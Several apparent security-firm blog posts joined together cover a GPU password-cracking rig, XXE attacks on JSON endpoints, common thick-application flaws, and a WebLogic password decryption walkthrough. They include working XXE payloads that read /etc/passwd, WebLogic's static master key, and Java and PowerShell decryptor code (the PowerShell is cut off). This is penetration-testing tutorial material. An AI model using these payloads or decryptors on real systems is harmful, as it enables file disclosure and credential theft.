Back

GPU Cracking: Rebuilding the Box

A little over two years ago, we built our first GPU cracking box. At the time, there was pretty limited information on what people were doing to build a decent cracking box, especially if you were trying to do so without breaking the bank. As with any piece of technology, things go out of date, things get upgraded, and documentation needs to get updated. Since it’s now two years since I wrote about our first system , I figured it was time to write an update to show what we’re actually using for cracking hardware now.

The Case

We currently have two cracking systems, Development and Production. Our development system is seated in a really nice (and relatively cheap) case that we picked up from MiningRigs.net. The big downside of this case is that we can’t immediately buy another one. The group making the case had recently switched to a Kickstarter model (we were one of the only backers), but they secured outside funding for the cases and are now building more. As soon as they have them ready, we’re planning on picking up another one.

Dan Case

Our production system is currently housed in a much lower-tech case… Three Milkcrates. As you can see, we’ve graduated from server shelving to an arguably crazier option. After seeing a number of Bitcoin miners using the milkcrate method for cases, we moved our cards over. This has actually worked quite well. The only issue that we’ve run into (outside of noise) is high temperatures on some of the cards. We’ve been able to keep the heat issues away by manually setting the fan speeds on all of the cards to 100%.

Cratecase E

*Update (5/19/15): We actually got another rack-mount case for our production system. Goodbye milk crates.

B E C E C Dde Dae E Da C E

The Motherboard

One of the big changes that we were happy to see over the last two years was the move by hardware manufacturers to embrace Bitcoin miners (even though most have moved off of GPU mining). ASRock now makes a Bitcoin specific motherboard (H81 PRO BTC) that is specifically geared towards running multiple GPUs. With six PCI-E slots, it’s a very inexpensive ($65) choice for creating a cracking box. Five of the slots are PCI-E 1x slots (and mounted pretty closely together), so you will need to use risers to attach your cards.

The Risers/Extenders

Another Bitcoin focused product that we’ve been using are the USB 3.0 PCI-E risers  (or extenders). These little devices allow you to put a PCI-E 16x card into a PCI-E 1x slot. The card then attaches to the motherboard with a USB cable. Basically, these extend your PCI-E slots using USB cables. These are much cleaner and more reliable than the ribbon riser cables we started using.

The Cards

I will say that I really like the newer cards (R9 290) that we are currently running. They have decent cracking rates and I really haven’t had too many issues with them so far. The biggest issue has been heat. This can mostly be mitigated by having decent airflow around the case and setting the fan speeds on your cards to the max. The fan speeds can be set using the aticonfig command  (pre-R series cards) or od6config for newer cards. One of the biggest pains that I’ve dealt with on our systems is getting all the fans set correctly for all the cards, specifically when you have a mix of older and newer cards. For simplicity’s sake, I would recommend going with one card model for your cracking box. The newer cards are nice, but if you can find someone trying to offload some older 7950s, I would recommend buying those.

The Power Supplies

Our recommendations on power supplies haven’t changed. Only running one to three cards? You will probably be fine with one power supply. Going any higher and you will want two. Shoot for higher wattage power supplies (800+) and get a Y-Splitter.

CPU/RAM/Hard Drive

All of these can be generic. It doesn’t hurt to max these out, but they don’t really impact cracking performance. If you’re going to throw money around, throw it at your cards.

Here’s a pretty general parts and pricing list if you want to build your own.

ComponentModelEst. Price
Case6 GPU Rackmount Server Case$495
MotherboardASRock Motherboard H81 PRO BTC$64
Risers (6)PCI-E 1X To 16X USB 3.0 Riser Card$24
GPUs (6)XFX Black Edition R9 290$1,884
Power Supply (2)CORSAIR AX1200i 1200W$618
Power-SplitterDual PSU Adapter Cable$9
RAM8 GB – Any Brand$50
CPUIntel Celeron G1820 Dual-Core (2.7GHz)$45
HDD1 TB – Any Brand$50
Total $3,239

If you have any questions or better parts recommendations, feel free to leave a comment below.

Back

Playing with Content-Type – XXE on JSON Endpoints

Many web and mobile applications rely on web services communication for client-server interaction. Most common data formats for web services are XML, whether SOAP or RESTful, and JSON. While a web service may be programmed to use just one of them, the server may accept data formats that the developers did not anticipate. This may result in JSON endpoints being vulnerable to XML External Entity attacks (XXE), an attack that exploits weakly configured XML parser settings on the server.

XXE is a well-known attack against XML endpoints. To exploit it, external entity declarations are included in the XML payload, and the server expands the entities, potentially resulting in read access to the web server’s file system, remote file system access via UNC paths, or connections to arbitrary hosts over HTTP/HTTPS. XXE attacks rely on inline DOCTYPE definitions in the XML payload. In the following example, an external entity pointing to the /etc/passwd file on the web server is declared and the entity is included in the XML payload:

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]

It’s a simple and neat attack. Time to play with the Content-Type header and HTTP request payloads to see if this could be exploited against JSON endpoints as well. A sample JSON request is listed below, with the Content-Type set to application/json (with silly sample data and most HTTP headers removed):

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

If the Content-Type header is changed to application/xml instead, the client is telling the server that the POST payload is XML formatted data. But if it’s not, the server will not be able to parse it may display an error similar to the following:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Request:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

The error indicates that the server is able to process XML formatted data as well as JSON formatted data but as the data wasn’t actually XML formatted like stated in the Content-Type header, it cannot be parsed. To overcome this, JSON has to be converted to XML. There are multiple online tools for that, and Eric Gruber created a Burp plugin to automate the conversion in Burp (Content-Type Converter).

Original JSON

{"search":"name","value":"netspitest"}

XML Conversion

<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>

However, this straight up conversion results in an invalid XML document as it does not have a root element that’s required in well formatted XML documents. If the invalid XML is sent to the server. sometimes the server will respond with an error message stating what kind of root element was expected, along with the namespace. Otherwise the best guess is to add root element <root> which makes the XML valid.

<?xml version="1.0" encoding="UTF-8" ?>

<root>
<search>name</search>
<value>netspitest</value>
</root>

Now the original JSON request can be sent as XML and the server may return a valid response:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

As the server accepts XML input, XXE can be exploited against a JSON endpoint.

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

Obviously, not every JSON endpoint accepts XML; changing the Content-Type header may not have any impact, or it may result in 415 Unsupported Media Type error message. But on the other hand, JSON to XML attacks are not limited to just POST payloads with JSON content. I have seen this work on JSON formatted GET and POST parameters as well. If the JSON parameter is converted and sent as XML, the server will guess what the content type is.

So, to harden a JSON endpoint, XML parsing should be disabled altogether and/or inline DOCTYPE declarations should be disabled to prevent XML external entity injections.

Back

Top 10 Critical Findings of 2014 – Thick Applications

2014 has come and gone, so we thought we’d put out a list of some of the most common critical findings that we saw during thick application penetration tests over the past year. We keep a massive amount of statistics for every assessment we do and in this blog I’ll cover high level trends and the top 10 vulnerabilities we found.  This should be interesting to application penetration testers and large companies that develop and manage their own code in house.

High Level Trends

Most of the thick applications we looked at were older and primarily written in Java, C#, and C/C++.  It’s still pretty common to see companies making them available over the internet via Citrix and Terminal service web interfaces. I also want to point out that when assessing newer thick applications we spend almost 90% of our time reviewing web service methods and configurations, because thick clients are basically just a wrapper for backend web service methods.

Below are the top 10 critical thick application findings for 2014 list in order from most to least common.

Cleartext Credential Storage

This is by far the most common thing we see across all of the thick applications we test. From our testing, credentials are usually stored in configuration files within the installation directory of an application, a local user preferences directory, or within the registry.  If you’re doing this, consider using integrated authentication and moving away from the two-tier architecture model.

Hardcoded Credentials in Source Code

Along with storing credentials on the operating system itself, we see applications with hardcoded credentials within their source code almost 100% of the time. This is mostly a problem in applications that use managed code: Java and C#/VBscript with .NET, for example. The most prevalent credentials? Database usernames and passwords. It’s very easy for a developer to hardcode them into source code and leave them there in production.  More times than not this results in the full compromise of the database and the backend database server.  Once again, if you’re doing something like this, consider using integrated authentication and moving away from the two-tier architecture model.

Hardcoded Encryption Keys

If an application uses encryption to protect sensitive information such as credentials, it is at least one step ahead of the curve. However, encryption is only as strong as where the key is held. Often times an encryption key is stored in an encryption function within the source code of an application. Again, hardcoded keys affect the majority of managed code applications that we see. If a static key is used on installation of an application, a user could use that key do decrypt data that someone else may have.  If this sounds like something you’ve done, consider moving the encryption of data to the server side were evil users can’t get their hands on your encryption keys.

Hardcoded or Nonexistent Salts

When using encryption, it is always a good idea to use a salt. However, if that salt is hardcoded in an application with an encryption key, it becomes pretty much useless. When it comes to encryption being a salty S.O.B. is a good thing.  Randomize! Randomize! Randomize!

Unencrypted Transmission of Data

We see a lot of applications that do not use encryption when transmitting data. Keep in mind that most of the applications that we test are used by the healthcare and financial industries, where sensitive information needs to be protected. While it is most common to find this over HTTP (web services), we see a fair amount of unencrypted TDS traffic for SQL data. If you don’t have encryption at the transport layer make sure to SSL (TLS) all the things!

SQL Injection

SQL Injection has been around for a long time and still affects many applications and services. Most of the applications we test access SQL databases on the backend, usually MSSQL and Oracle.  A lot of the backend processing for thick applications just don’t implement proper sanitation and parameterization of queries. As a result, it isn’t hard for a malicious user to attach a proxy to intercept HTTP and TDS requests.  Tools like Burp Suite and Echo Mirage make it pretty easy. Often times just inserting a single tick in an input field can cause a SQL error to pop up to the user. Make sure to enforce the principal of least privilege and sanitize your input everywhere!

Authorization Bypass

A lot of thick application employ security through GUI controls but leave web services completely wide open. A user that may not be able to access a piece of functionality through the GUI of a thick application, but can usually request what they need through a web service without any authorization checks.

XML External Entity Injection

Many thick applications employ XML for configuration files, HTTP requests and responses, and exporting and importing data. A lot of applications were simply created before the influx of entity injections attacks and thus were never properly protected against them on the client side or server side.  XXE often results in read access to files on the server, and UNC path injection that can be used to capture and crack credentials used to on associate web server. Most XML parsing libraries support disallowing declared DTDs and entities. This should be set as the default when reading XML to help prevent injection.

SQL Query Manipulation

It is not uncommon to see the use of direct SQL queries within an application that a user can freely edit for their use. We see this most often in custom search windows where a user is given the ability to search tables as they please. Executing SQL queries almost always leads to a complete takeover of the backend database server and, from there, movement within the environment.  The general recommendation is don’t do that unless your required use case is “allow users to take over the network”.

Custom Encryption

This has come up a couple of times within the past year where an application rolls its own encryption algorithms. More often than not this ends up being some type of substitution cipher where every character is replaced with another one. Simply reversing the algorithm gives you back the cleartext format of whatever was encrypted. NEVER ROLL YOUR OWN CRYPTO!

Back

Decrypting WebLogic Passwords

The following blog walks through part of a recent penetration test and the the decryption process for WebLogic passwords that came out of it. Using these passwords I was able to escalate onto other systems and Oracle databases. If you just want code and examples to perform this yourself, head here: https://github.com/NetSPI/WebLogicPasswordDecryptor.

Introduction

Recently on an internal penetration test I came across a couple of Linux servers with publicly accessible Samba shares. Often times, open shares contain something interesting. Whether it be user credentials or sensitive information, and depending on the client, open shares will contain something useful. In this instance, one of the shares contained a directory named “wls1035”. Going through the various acronyms in my head for software, this could either be Windows Live Spaces or WebLogic Server. Luckily it was the later and not Microsoft’s failed blogging platform.

WebLogic is an application server from Oracle for serving up enterprise Java applications. I was somewhat familiar with it, as I do see it time to time in enterprise environments, but I’ve never actually installed it or taken a look at its file structure. At this point I started to poke around the files to see if I could find anything useful, such as credentials. Doing a simple grep search for “password” revealed a whole lot of information. (This is not actual client data)

user@box:~/wls1035# grep -R "password" *
Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches
oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom:    &lt;!-- and password for your server here. --&gt;
user_projects/domains/mydomain/bin/startManagedWebLogic.sh:#  to your system password for no username and password prompt 
user_projects/domains/mydomain/bin/stopManagedWebLogic.sh:# WLS_PW         - cleartext password for server shutdown
user_projects/domains/mydomain/bin/stopWebLogic.sh:	if [ "${password}" != "" ] ; then
user_projects/domains/mydomain/bin/stopWebLogic.sh:		wlsPassword="${password}"
user_projects/domains/mydomain/bin/stopWebLogic.sh:echo "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" &gt;&gt;"shutdown-${SERVER_NAME}.py" 
user_projects/domains/mydomain/bin/startWebLogic.sh:	JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.management.password=${WLS_PW}"
user_projects/domains/mydomain/bin/startWebLogic.sh:echo "*  password assigned to an admin-level user.  For *"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:    if [ -n "$username" -a -n "$password" ]; then
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       print_info "Investigating username: '$username' and password: '$password'"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$password" &gt;&gt;"$NMBootFile.tmp"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       unset username password
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$Password" &gt;&gt;"$NMBootFile.tmp"
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  &lt;nod:password&gt;{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."&gt;

There weren’t any cleartext passwords, but there were encrypted ones in the same style as this: {AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=
I then narrowed down my search to see if I could find more of these passwords. This was the result:

user@box:~/wls1035# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  &lt;nod:password&gt;{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A="&gt;
user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}/DG7VFmJODIZJoQGmqxU8OQfkZxiKLuHQ69vqYPgxyY=
user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}Bqy44qL0EM4ZqIqxgIRQxXv1lg7PxZ7lI1DLlx7njts=
user_projects/domains/mydomain/config/config.xml:    &lt;credential-encrypted&gt;{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL&lt;/credential-encrypted&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;node-manager-password-encrypted&gt;{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=&lt;/node-manager-password-encrypted&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;credential-encrypted&gt;{AES}nS7QvZhdYFLlPamcgwGoPP7eBuS1i2KeFNhF1qmVDjf6Jg6ekiVZOYl+PsqoSf3C&lt;/credential-encrypted&gt;

There were a lot of encrypted passwords and that fueled my need to know what they contain. Doing a simple base64 decode didn’t reveal anything, but I didn’t expect it to, based on each string being prepended with {AES}. In older versions of WebLogic the encryption algorithm is 3DES (Triple DES) which has a format similar to this: {3DES}JMRazF/vClP1WAgy1czd2Q== . This must mean there was a key that was used for encrypting, which means the same key is used for decrypting. To properly test all of this, I needed to install my own WebLogic server.

WebLogic is free from Oracle and is located here. For this blog I am using version 12.1.3. Installing WebLogic can be a chore in and of itself and I won’t be covering it. One take away from the installation is configuring a new domain. This shouldn’t be confused with Windows domain. Quoting the WebLogic documentation, “A domain is the basic administration unit for WebLogic Server instances.” Every domain contains security information. This can be seen in the grep command from above. All the file paths that contain encrypted passwords are within the mydomain directory.

Now that I had my own local WebLogic server installed, it was time to find out how to decrypt the passwords. Some quick googling resulted in a few Python scripts that could do the job. Interestingly enough, WebLogic comes with a scripting tool called WLST (WebLogic Scripting Tool) that allows Python to run WebLogic methods. This includes encryption and decryption methods. We can also run it standalone to just encrypt:

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline&gt; pw = encrypt('password')
wls:/offline&gt; print pw
{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=

To decrypt, I used the following python script from Oracle.

import os
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService

def decrypt(agileDomain, encryptedPassword):
    agileDomainPath = os.path.abspath(agileDomain)
    encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
    ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
    password = ces.decrypt(encryptedPassword)
	
    print "Plaintext password is:" + password

try:
    if len(sys.argv) == 3:
        decrypt(sys.argv[1], sys.argv[2])
    else:
		print "Please input arguments as below"
		print "		Usage 1: java weblogic.WLST decryptWLSPwd.py  "
		print "		Usage 2: decryptWLSPwd.cmd "
		print "Example:"
		print "		java weblogic.WLST decryptWLSPwd.py C:AgileAgile933agileDomain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
		print "		decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="
except:
    print "Exception: ", sys.exc_info()[0]
    dumpStack()
    raise

To test this script I needed to use an encrypted password from my newly installed WebLogic server. Using the same grep command from above returns the same number of results:

root@kali:~/wls12130# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml: &lt;nod:password&gt;{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml: &lt;user name="OracleSystemUser" password="{AES}gTRFf+pONckQsJ55zXOw5JPfcsdNTC0lAURre/3zK0Q=" description="Oracle application software system user."&gt;
user_projects/domains/mydomain/init-info/security.xml: &lt;user name="netspi" password="{AES}Dm/Kp/TkdGwaikv3QD40UBhFQQAVtfbEXEwRjR0RpHc="&gt;
user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}0WDnHP4OC5iVBze+EQ2JKGgtUb8K1mMK8QbtSTgKq+Y=
user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}OGs2ujN70+atq9F70xqXxFQ11CD5mGuxuekNJbRGJqM=
user_projects/domains/mydomain/config/config.xml: &lt;credential-encrypted&gt;{AES}KKGUxV84asQMrbq74ap373LNnzsXbchoJKu8IxecSlZmXCrnBrb+6hr8Z8bOCIHTSKXSl9myvwYQ2cXQ7klCF7wxqlkf0oOHw2VaFdFtlNAY1TuFGmkByRW4xaV2ITSo&lt;/credential-encrypted&gt;
user_projects/domains/mydomain/config/config.xml: &lt;node-manager-password-encrypted&gt;{AES}mY78lCyPd5GmgEf7v5qYTQvowjxAo4m8SwRI7rJJktw=&lt;/node-manager-password-encrypted&gt;
user_projects/domains/mydomain/config/config.xml: &lt;credential-encrypted&gt;{AES}/0yRcu56nfpxO+aTceqBLf3jyYdYR/j1+t4Dz8ITAcoAfsKQmYgJv1orfpNHugPM&lt;/credential-encrypted&gt;

Taking the first encrypted password and throwing it into the Python script did indeed return the cleartext password for my newly created domain:

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST decrypt.py . "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

Plaintext password is:Password1

The only problem is, we had to be attached to WebLogic to get it. I want to be able to decrypt passwords without having to run scripts through WebLogic.

Down the Rabbit Hole

My first steps in figuring out how passwords are both encrypted and decrypted was to look at the Python script we obtained and see what libraries the script is calling. The first thing it does import the following:

import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService

It then makes the following method calls within the decrypt function:

encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
password = ces.decrypt(encryptedPassword)

The first line takes the path of the domain as a parameter. In our case, the domain path is /root/wls12130/user_projects/domains/mydomain . What the weblogic.security.internal.SerializedSystemIni.getEncryptionService  call does next is look for the SerializedSystemIni.dat file within the security directory. The SerializedSystemIni.dat file contains the salt and encryption keys for encrypting and decrypting passwords. It’s read byte-by-byte in a specific order. Here’s a pseudocode version of what’s going on along with an explanation for each line.

file = “SerializedSystemIni.dat”
numberofbytes = file.ReadByte()
salt = file.ReadBytes(byte)
encryptiontype = file.ReadByte()
numberofbytes = file.ReadByte()
encryptionkey = file.ReadBytes(numberofbytes)
if encryptiontype == AES then
	numberofbytes = file.ReadByte()
	encryptionkey = file.ReadBytes(numberofbytes)
  1. The first thing that happens is the first byte of the file is read. That byte is an integer for the number of bytes in the salt.
  2. The salt portion is then read up to the amount of bytes that were specified in the byte variable.
  3. The next byte is then read, which is assigned to the encryptiontype variable.
  4. Then the next byte is read, which is another integer for how many bytes should be read for the encryptionkey.
  5. The bytes for the encryptionkey are read.
  6. Now, if the encryptiontype is equal to AES, we go into the if statement block.
  7. The next byte is read, which is the number of bytes in the encryptionkey.
  8. The bytes for the encryptionkey are read.

As I noted before, WebLogic uses two encryption algorithms depending on the release. These are 3DES and AES. This is where the two encryption keys come into play from above. If 3DES is in use, the first encryption key is used. If AES is used, the second encryption key is used.

After doing a little bit of searching, I figured out that BouncyCastle is the library that is performing all the crypto behind the scenes. The next step is to start implementing the decryption ourselves. We have at least some idea of what is going on under the hood. For now, we will just focus on the AES decryption portion instead of 3DES. I’m not terribly familiar with BouncyCastle or Java crypto implementation, so I did some googling on how to implement AES decryption with it. The result is the following snippet of code:

IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec);

byte[] cleartext = outCipher.doFinal(encryptedPassword);

This code is promising, but unfortunately doesn’t work. We don’t know what the IV is and using the encryption key as the SecretKeySpec won’t work because it’s not the correct type. Plus we have this salt that is probably used somewhere. After many hours of digging I figured out that the IV happens to be the first 16 bytes of the base64 decoded ciphertext and the encrypted password is the last 16 bytes. I made an educated guess that the salt is probably part of the PBEParameterSpec, because the first parameter in the documentation for it is a byte array named salt. The encryption key that we have also happens to be encrypted itself. So now we have to decrypt the encryption key and then use that to decrypt the password. I found very few examples of this type of encryption process, but after more time I was finally able to put the following code together:

PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);

Cipher cipher = Cipher.getInstance(algorithm);
cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionkey), "AES");

byte[] iv = new byte[16];
System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
byte[] encryptedPassword2 = new byte[16];
System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec);

byte[] cleartext = outCipher.doFinal(encryptedPassword2);

So now we have a decryption process for the encryption key, but we don’t know the key that decrypts it that or the algorithm that is being used.

I found that WebLogic uses this algorithm PBEWITHSHAAND128BITRC2-CBC  and the key that is being used happens to be static across every installation of WebLogic, which is the following:

0xccb97558940b82637c8bec3c770f86fa3a391a56

Now we can fix our code up a bit. Looking through examples of password based encryption in BouncyCastle, this seemed to maybe be right.

SecretKeyFactory keyFact = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");

PBEKeySpec pbeKeySpec = new PBEKeySpec(password,salt,iterations);

SecretKey secretKey = keyFact.generateSecret(pbeKeySpec);

The PBEKeySpec takes a password, salt, and iteration count.  The password will be our static key string, but we have to convert it to a char array first. The second is our salt, which we already know. The third is an iteration count, which we do not know. The iteration count happens to be five. I actually just wrote a wrapper around the method and incremented values until I got a successful result.
Here is our final code:

public static String decryptAES(String SerializedSystemIni, String ciphertext) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, IOException {

    byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);
    byte[] salt = null;
    byte[] encryptionKey = null;

    String key = "0xccb97558940b82637c8bec3c770f86fa3a391a56";

    char password[] = new char[key.length()];

    key.getChars(0, password.length, password, 0);

    FileInputStream is = new FileInputStream(SerializedSystemIni);
    try {
        salt = readBytes(is);

        int version = is.read();
        if (version != -1) {
            encryptionKey = readBytes(is);
            if (version &gt;= 2) {
                encryptionKey = readBytes(is);
            }
        }
    } catch (IOException e) {

    }

    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");

    PBEKeySpec pbeKeySpec = new PBEKeySpec(password, salt, 5);

    SecretKey secretKey = keyFactory.generateSecret(pbeKeySpec);

    PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);

    Cipher cipher = Cipher.getInstance("PBEWITHSHAAND128BITRC2-CBC");
    cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);
    SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionKey), "AES");

    byte[] iv = new byte[16];
    System.arraycopy(encryptedPassword1, 0, iv, 0, 16);
    byte[] encryptedPassword2 = new byte[16];
    System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);

    IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
    Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);

    byte[] cleartext = outCipher.doFinal(encryptedPassword2);

    return new String(cleartext, "UTF-8");

}

We run this with our SerializedSystemIni.dat file as the first argument and the encrypted password as the second without the prepended {AES}. The result returns our password!

Img D Abf

As an exercise, I wanted to do this without having to touch Java ever again. So I decided to try it in PowerShell, everyone’s favorite pentest scripting. BouncyCastle provides a DLL that we can use to perform the decryption. We just have to use reflection within the PowerShell code to call the methods. The result is the following PowerShell code:

&lt;#
    Author: Eric Gruber 2015, NetSPI
    .Synopsis
    PowerShell script to decrypt WebLogic passwords
    .EXAMPLE
    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:SerializedSystemIni.dat -CipherText "{3DES}JMRazF/vClP1WAgy1czd2Q=="
    .EXAMPLE
    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:SerializedSystemIni.dat -CipherText "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug="
#&gt;
function Invoke-WebLogicPasswordDecryptor
{
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $true,
        Position = 0)]
        [String]
        $SerializedSystemIni,

        [Parameter(Mandatory = $true,
        Position = 0)]
        [String]
        $CipherText,

        [Parameter(Mandatory = $false,
        Position = 0)]
        [String]
        $BouncyCastle
    )

    if (!$BouncyCastle)
    {
        $BouncyCastle = '.BouncyCastle.Crypto.dll'
    }

    Add-Type -Path $BouncyCastle

    $Pass = '0xccb97558940b82637c8bec3c770f86fa3a391a56'
    $Pass = $Pass.ToCharArray()

    if ($CipherText.StartsWith('{AES}'))
    {
        $CipherText = $CipherText.TrimStart('{AES}')
    }
    elseif ($CipherText.StartsWith('{3DES}'))
    {
        $CipherText = $CipherText.TrimStart('{3DES}')
    }

    $DecodedCipherText = [System.Convert]::FromBase64String($CipherText)

    $BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList ([System.IO.File]::Open($SerializedSystemIni, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite))
    $NumberOfBytes = $BinaryReader.ReadByte()
    $Salt = $BinaryReader.ReadBytes($NumberOfBytes)
    $Version = $BinaryReader.ReadByte()
    $NumberOfBytes = $BinaryReader.ReadByte()
    $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)

    if ($Version -ge 2)
    {
        $NumberOfBytes = $BinaryReader.ReadByte()
        $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)

        $ClearText = Decrypt-AES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
    }
    else
    {
        $ClearText = Decrypt-3DES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText
    }

    Write-Host "Password:" $ClearText

}

function Decrypt-AES
{
    param
    (
        [byte[]]
        $Salt,

        [byte[]]
        $EncryptionKey,

        [char[]]
        $Pass,

        [byte[]]
        $DecodedCipherText
    )

    $EncryptionCipher = 'AES/CBC/PKCS5Padding'

    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'

